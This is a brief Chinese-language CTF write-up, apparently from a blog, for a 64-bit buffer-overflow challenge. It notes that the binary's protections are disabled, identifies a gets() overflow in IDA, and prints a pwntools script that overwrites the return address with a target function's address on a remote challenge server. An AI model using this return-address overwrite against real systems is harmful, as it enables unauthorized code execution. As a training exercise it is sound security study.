拿到文件,先查看保护。发现是64位,Stack、NX、PIE都没有开
![](https://www.xaitx.com/wp-content/uploads/2022/08/1660403951-image.png)
拖到ida打开查看
![](https://www.xaitx.com/wp-content/uploads/2022/08/1660404060-image.png)
明显的gets函数溢出。打开字符串视图找到了
![](https://www.xaitx.com/wp-content/uploads/2022/08/1660404377-image.png)
![](https://www.xaitx.com/wp-content/uploads/2022/08/1660404419-image.png)
直接最后把返回地址覆盖为这个函数地址就可以了
v5大小是0x40 应为是楼4位所以+0x8就可以覆盖到返回地址了。
构造payload
from pwn import *
#p = process('pwn')
p = remote("node4.buuoj.cn",27940)
p.sendline(b'a'*(0x40 + 0x8) + p64(0x40060D))
p.interactive()